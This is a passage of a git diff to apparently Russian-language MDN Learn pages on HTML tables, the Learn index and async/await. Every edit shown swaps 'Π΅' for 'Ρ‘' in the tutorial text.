+ <li>Π—Π°Π΄Π°ΠΉΡ‚Π΅ ΡˆΠΈΡ€ΠΈΠ½Ρƒ для Ρ‡Π΅Ρ‚Π²Ρ‘Ρ€Ρ‚ΠΎΠ³ΠΎ столбца. <code>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° style</code> Π±ΡƒΠ΄Π΅Ρ‚ <code>width: 42px;</code></li>
<li>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° для пятого столбца. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>style</code> Π±ΡƒΠ΄Π΅Ρ‚ <code>background-color: #97DB9A;</code></li>
- <li>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΈ Π³Ρ€Π°Π½ΠΈΡ†Ρƒ для ΡˆΠ΅ΡΡ‚ΠΎΠ³ΠΎ столбца, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ это особый дСнь ΠΈ ΠΎΠ½Π° Π²Π΅Π΄Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ класс. ЗначСниями Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>style</code> Π±ΡƒΠ΄ΡƒΡ‚: <code>background-color:#DCC48E; border:4px solid #C1437A;</code></li>
+ <li>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΈ Π³Ρ€Π°Π½ΠΈΡ†Ρƒ для ΡˆΠ΅ΡΡ‚ΠΎΠ³ΠΎ столбца, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ это особый дСнь ΠΈ ΠΎΠ½Π° Π²Π΅Π΄Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ класс. ЗначСниями Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>style</code> Π±ΡƒΠ΄ΡƒΡ‚: <code>background-color:#DCC48E; border:4px solid #C1437A;</code></li>
<li>ПослСдниС Π΄Π²Π° дня Π²Ρ‹Ρ…ΠΎΠ΄Π½Ρ‹Π΅; Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° style <code>Π±ΡƒΠ΄Π΅Ρ‚ width: 42px;</code></li>
</ol>
diff --git a/files/ru/learn/html/tables/index.html b/files/ru/learn/html/tables/index.html
index 609f1b36fe..3f3d4e5cb8 100644
--- a/files/ru/learn/html/tables/index.html
+++ b/files/ru/learn/html/tables/index.html
@@ -5,7 +5,7 @@ translation_of: Learn/HTML/Tables
---
<div>{{LearnSidebar}}</div>
-<p class="summary">Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Ρ‚Π°Π±Π»ΠΈΡ‡Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… являСтся Π² HTML самой ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΉ Π·Π°Π΄Π°Ρ‡Π΅ΠΉ, для этой Ρ†Π΅Π»ΠΈ Π΅ΡΡ‚ΡŒ мноТСство элСмСнтов ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ². Π‘ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ Ρ‚Π°Π±Π»ΠΈΡ† стилСй (<a href="/ru-RU/docs/Learn/CSS">CSS</a>) HTML с Π»Π΅Π³ΠΊΠΎΡΡ‚ΡŒΡŽ позволяСт Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π² Π²Π΅Π± Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, расписаниС ΡˆΠΊΠΎΠ»ΡŒΠ½Ρ‹Ρ… ΡƒΡ€ΠΎΠΊΠΎΠ², Π³Ρ€Π°Ρ„ΠΈΠΊ посСщСния бассСйна, ΠΈΠ»ΠΈ статистичСскиС Π΄Π°Π½Π½Ρ‹Π΅ ΠΎ Π²Π°ΡˆΠΈΡ… Π»ΡŽΠ±ΠΈΠΌΡ‹Ρ… Π΄ΠΈΠ½ΠΎΠ·Π°Π²Ρ€Π°Ρ…Β ΠΈΠ»ΠΈ Ρ„ΡƒΡ‚Π±ΠΎΠ»ΡŒΠ½Ρ‹Ρ… ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ…. Π’ Π΄Π°Π½Π½ΠΎΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅ Π²Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅ всС, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ потрСбуСтся для структурирования Ρ‚Π°Π±Π»ΠΈΡ‡Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ HTML.</p>
+<p class="summary">Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Ρ‚Π°Π±Π»ΠΈΡ‡Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… являСтся Π² HTML самой ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΉ Π·Π°Π΄Π°Ρ‡Π΅ΠΉ, для этой Ρ†Π΅Π»ΠΈ Π΅ΡΡ‚ΡŒ мноТСство элСмСнтов ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ². Π‘ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ Ρ‚Π°Π±Π»ΠΈΡ† стилСй (<a href="/ru-RU/docs/Learn/CSS">CSS</a>) HTML с Π»Ρ‘Π³ΠΊΠΎΡΡ‚ΡŒΡŽ позволяСт Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π² Π²Π΅Π± Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, расписаниС ΡˆΠΊΠΎΠ»ΡŒΠ½Ρ‹Ρ… ΡƒΡ€ΠΎΠΊΠΎΠ², Π³Ρ€Π°Ρ„ΠΈΠΊ посСщСния бассСйна, ΠΈΠ»ΠΈ статистичСскиС Π΄Π°Π½Π½Ρ‹Π΅ ΠΎ Π²Π°ΡˆΠΈΡ… Π»ΡŽΠ±ΠΈΠΌΡ‹Ρ… Π΄ΠΈΠ½ΠΎΠ·Π°Π²Ρ€Π°Ρ…Β ΠΈΠ»ΠΈ Ρ„ΡƒΡ‚Π±ΠΎΠ»ΡŒΠ½Ρ‹Ρ… ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ…. Π’ Π΄Π°Π½Π½ΠΎΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅ Π²Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅ всС, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ потрСбуСтся для структурирования Ρ‚Π°Π±Π»ΠΈΡ‡Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ HTML.</p>
<h2 id="НСобходимыС_условия">НСобходимыС условия</h2>
diff --git a/files/ru/learn/html/tables/structuring_planet_data/index.html b/files/ru/learn/html/tables/structuring_planet_data/index.html
index 85c3d9dc91..78c6a63a01 100644
--- a/files/ru/learn/html/tables/structuring_planet_data/index.html
+++ b/files/ru/learn/html/tables/structuring_planet_data/index.html
@@ -36,7 +36,7 @@ translation_of: Learn/HTML/Tables/Structuring_planet_data
<h2 id="ΠšΡ€Π°Ρ‚ΠΊΠΎΠ΅_описаниС_ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°">ΠšΡ€Π°Ρ‚ΠΊΠΎΠ΅ описаниС ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°</h2>
-<p>Π’Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ Π² школС. Π’ настоящСС врСмя ваши ΡƒΡ‡Π΅Π½ΠΈΠΊΠΈ ΠΈΠ·ΡƒΡ‡Π°ΡŽΡ‚ ΠΏΠ»Π°Π½Π΅Ρ‚Ρ‹ солнСчной систСмы, ΠΈ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ ΠΈΡ… наглядным пособиСм для поиска Ρ„Π°ΠΊΡ‚ΠΎΠ² ΠΈ Π΄Π°Π½Π½Ρ‹Ρ… ΠΎ ΠΏΠ»Π°Π½Π΅Ρ‚Π°Ρ…. Π’Π°Π±Π»ΠΈΡ†Π° HTML Π±Ρ‹Π»Π° Π±Ρ‹ ΠΈΠ΄Π΅Π°Π»ΡŒΠ½Ρ‹ΠΌ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠΌ β€” Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Π·ΡΡ‚ΡŒ Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρƒ вас Π΅ΡΡ‚ΡŒ, ΠΈ ΠΏΡ€Π΅Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ ΠΈΡ… Π² Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ, слСдуя Π½ΠΈΠΆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΌ инструкциям.</p>
+<p>Π’Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ Π² школС. Π’ настоящСС врСмя ваши ΡƒΡ‡Π΅Π½ΠΈΠΊΠΈ ΠΈΠ·ΡƒΡ‡Π°ΡŽΡ‚ ΠΏΠ»Π°Π½Π΅Ρ‚Ρ‹ солнСчной систСмы, ΠΈ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ ΠΈΡ… наглядным пособиСм для поиска Ρ„Π°ΠΊΡ‚ΠΎΠ² ΠΈ Π΄Π°Π½Π½Ρ‹Ρ… ΠΎ ΠΏΠ»Π°Π½Π΅Ρ‚Π°Ρ…. Π’Π°Π±Π»ΠΈΡ†Π° HTML Π±Ρ‹Π»Π° Π±Ρ‹ ΠΈΠ΄Π΅Π°Π»ΡŒΠ½Ρ‹ΠΌ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠΌ β€” Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Π·ΡΡ‚ΡŒ Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρƒ вас Π΅ΡΡ‚ΡŒ, ΠΈ ΠΏΡ€Π΅Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ ΠΈΡ… Π² Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ, слСдуя Π½ΠΈΠΆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΌ инструкциям.</p>
<p>Готовая Ρ‚Π°Π±Π»ΠΈΡ†Π° Π΄ΠΎΠ»ΠΆΠ½Π° Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Ρ‚Π°ΠΊ:</p>
@@ -49,16 +49,16 @@ translation_of: Learn/HTML/Tables/Structuring_planet_data
<h2 id="Π¨Π°Π³ΠΈ_для_Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ">Π¨Π°Π³ΠΈ для Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ</h2>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ шаги ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹. ВсС Π΄Π°Π½Π½Ρ‹Π΅, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹ находятся Π² Ρ„Π°ΠΉΠ»Π΅Β <code>planets-data.txt</code>. Если Ρƒ вас Π²ΠΎΠ·Π½ΠΈΠΊΠ»ΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠ΅ΠΉ Π΄Π°Π½Π½Ρ‹Ρ…, посмотритС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΠ»ΠΈ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π½Π°Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΡƒ.</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ шаги ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹. ВсС Π΄Π°Π½Π½Ρ‹Π΅, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹ находятся Π² Ρ„Π°ΠΉΠ»Π΅Β <code>planets-data.txt</code>. Если Ρƒ вас Π²ΠΎΠ·Π½ΠΈΠΊΠ»ΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠ΅ΠΉ Π΄Π°Π½Π½Ρ‹Ρ…, посмотритС ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΠ»ΠΈ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π½Π°Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΡƒ.</p>
<ol>
<li>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Π²Π°ΡˆΡƒ копию <code>blank-template.html</code> , ΠΈ запуститС Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ, прСдоставив Π΅ΠΉ внСшний ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€, Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ ΠΈ Ρ‚Π΅Π»ΠΎ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹. Π’Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ΅Π½ Π½ΠΈΠΆΠ½ΠΈΠΉ ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ» (footer) для этого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°.</li>
<li>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»Π΅Π½Π½ΡƒΡŽ подпись ΠΊ вашСй Ρ‚Π°Π±Π»ΠΈΡ†Π΅ ("Caption" Π² ΠΊΠΎΠ½Ρ†Π΅Β <code>planets-data.txt</code>).</li>
<li>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ строку Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽ всС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ столбцов.</li>
<li>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ всС строки содСрТимого Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ‚Π΅Π»Π° Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, помня, Ρ‡Ρ‚ΠΎ всС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ строк Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ <em>сСмантичСски</em>.</li>
- <li>Π£Π±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ вСсь ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ Π² Π½ΡƒΠΆΠ½Ρ‹Π΅ ячСйки - Π² исходных Π΄Π°Π½Π½Ρ‹Ρ… каТдая строка Π΄Π°Π½Π½Ρ‹Ρ… ΠΎ ΠΏΠ»Π°Π½Π΅Ρ‚Π΅ отобраТаСтся рядом со связанной с Π½Π΅ΠΉ ΠΏΠ»Π°Π½Π΅Ρ‚ΠΎΠΉ.</li>
+ <li>Π£Π±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ вСсь ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½ Π² Π½ΡƒΠΆΠ½Ρ‹Π΅ ячСйки - Π² исходных Π΄Π°Π½Π½Ρ‹Ρ… каТдая строка Π΄Π°Π½Π½Ρ‹Ρ… ΠΎ ΠΏΠ»Π°Π½Π΅Ρ‚Π΅ отобраТаСтся рядом со связанной с Π½Π΅ΠΉ ΠΏΠ»Π°Π½Π΅Ρ‚ΠΎΠΉ.</li>
<li>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ строк ΠΈ столбцов Π±Ρ‹Π»ΠΈ ΠΎΠ΄Π½ΠΎΠ·Π½Π°Ρ‡Π½ΠΎ связаны со строками, столбцами ΠΈΠ»ΠΈ Π³Ρ€ΡƒΠΏΠΏΠ°ΠΌΠΈ строк, для ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΎΠ½ΠΈ Π²Ρ‹ΡΡ‚ΡƒΠΏΠ°ΡŽΡ‚ Π² качСствС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ².</li>
- <li>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Ρ‡Π΅Ρ€Π½ΡƒΡŽ Ρ€Π°ΠΌΠΊΡƒ Π²ΠΎΠΊΡ€ΡƒΠ³ столбца, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит всС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ строк с ΠΈΠΌΠ΅Π½Π°ΠΌΠΈ ΠΏΠ»Π°Π½Π΅Ρ‚.</li>
+ <li>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Ρ‡Ρ‘Ρ€Π½ΡƒΡŽ Ρ€Π°ΠΌΠΊΡƒ Π²ΠΎΠΊΡ€ΡƒΠ³ столбца, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит всС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ строк с ΠΈΠΌΠ΅Π½Π°ΠΌΠΈ ΠΏΠ»Π°Π½Π΅Ρ‚.</li>
</ol>
<h2 id="Подсказки_ΠΈ_совСты">Подсказки ΠΈ совСты</h2>
diff --git a/files/ru/learn/index.html b/files/ru/learn/index.html
index 58282e7a14..521272d551 100644
--- a/files/ru/learn/index.html
+++ b/files/ru/learn/index.html
@@ -72,7 +72,7 @@ translation_of: Learn
<dt><a href="/ru/docs/Learn/Performance">ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ:Β Π΄Π΅Π»Π°Π΅ΠΌ сайты быстрыми ΠΈ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΌΠΈ </a></dt>
<dd>Π’Π΅Π±-ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ — это искусство обСспСчСния быстрой Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΈ ΠΈΡ… рСагирования Π½Π° дСйствия ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, нСзависимо ΠΎΡ‚ скорости соСдинСния ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Ρ€Π°Π·ΠΌΠ΅Ρ€Π° экрана, сСти ΠΈΠ»ΠΈ возмоТностСй устройства.</dd>
<dt><a href="/en-US/docs/Learn/Tools_and_testing">Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΈ тСстированиС</a></dt>
- <dd>Π’ этой Ρ‚Π΅ΠΌΠ΅Β Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡŽΡ‚ΡΡ инструмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ для ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ своСй Ρ€Π°Π±ΠΎΡ‚Ρ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: инструмСнты для кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠ³ΠΎ тСстирования, Π»ΠΈΠ½Ρ‚Π΅Ρ€Ρ‹, срСдства форматирования, инструмСнты прСобразования, систСмы контроля вСрсий, инструмСнты развСртывания ΠΈ клиСнтскиС JavaScript-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΈ.</dd>
+ <dd>Π’ этой Ρ‚Π΅ΠΌΠ΅Β Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡŽΡ‚ΡΡ инструмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ для ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ своСй Ρ€Π°Π±ΠΎΡ‚Ρ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: инструмСнты для кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠ³ΠΎ тСстирования, Π»ΠΈΠ½Ρ‚Π΅Ρ€Ρ‹, срСдства форматирования, инструмСнты прСобразования, систСмы контроля вСрсий, инструмСнты развёртывания ΠΈ клиСнтскиС JavaScript-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΈ.</dd>
<dt><a href="/ru/docs/Learn/Server-side">Π‘Π΅Ρ€Π²Π΅Ρ€Π½ΠΎΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π²Π΅Π±-сайтов</a></dt>
<dd>Π”Π°ΠΆΠ΅ Ссли Π²Ρ‹ прСимущСствСнно ΠΈΠ½Ρ‚Π΅Ρ€Π΅ΡΡƒΠ΅Ρ‚Π΅ΡΡŒΒ Ρ„Ρ€ΠΎΠ½Ρ‚Π΅Π½Π΄-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΎΠΉ, всё равно ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ сСрвСры ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, написанныС Π½Π° сСрвСрном кодС. Π’ этой тСмС прСдставлСны ΠΎΠ±Ρ‰ΠΈΠ΅ свСдСния ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ сСрвСрная Ρ‡Π°ΡΡ‚ΡŒ, ΠΈ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹Π΅ руководства ΠΏΠΎ созданию сСрвСрного прилоТСния с использованиСм Π΄Π²ΡƒΡ… популярных Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΎΠ²: Django (Python) ΠΈ Express (Node.js).</dd>
</dl>
diff --git a/files/ru/learn/javascript/asynchronous/async_await/index.html b/files/ru/learn/javascript/asynchronous/async_await/index.html
index bef0f49847..4c0c08ae33 100644
--- a/files/ru/learn/javascript/asynchronous/async_await/index.html
+++ b/files/ru/learn/javascript/asynchronous/async_await/index.html
@@ -11,7 +11,7 @@ translation_of: Learn/JavaScript/Asynchronous/Async_await
<div>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous/Choosing_the_right_approach", "Learn/JavaScript/Asynchronous")}}</div>
-<p class="summary">Π’Β ECMAScript вСрсии 2017 появились <a href="/en-US/docs/Web/JavaScript/Reference/Statements/async_function">async functions</a> ΠΈ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/await">await</a></code>Β (<a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_Next_support_in_Mozilla">ECMAScript Next support in Mozilla</a>). По сущСству, Ρ‚Π°ΠΊΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π΅ΡΡ‚ΡŒ синтаксичСский сахар над Promises ΠΈ Generator functions (<a href="https://tc39.es/ecmascript-asyncawait/">ts39</a>). Π‘ ΠΈΡ… ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π»Π΅Π³Ρ‡Π΅ ΠΏΠΈΡΠ°Ρ‚ΡŒ/Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ асинхронный ΠΊΠΎΠ΄, вСдь ΠΎΠ½ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡Π½Ρ‹ΠΉ синхронный ΡΡ‚ΠΈΠ»ΡŒ написания. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ Π½Π° Π±Π°Π·ΠΎΠ²ΠΎΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅ разбСрСмся Π² ΠΈΡ… устройствС.</p>
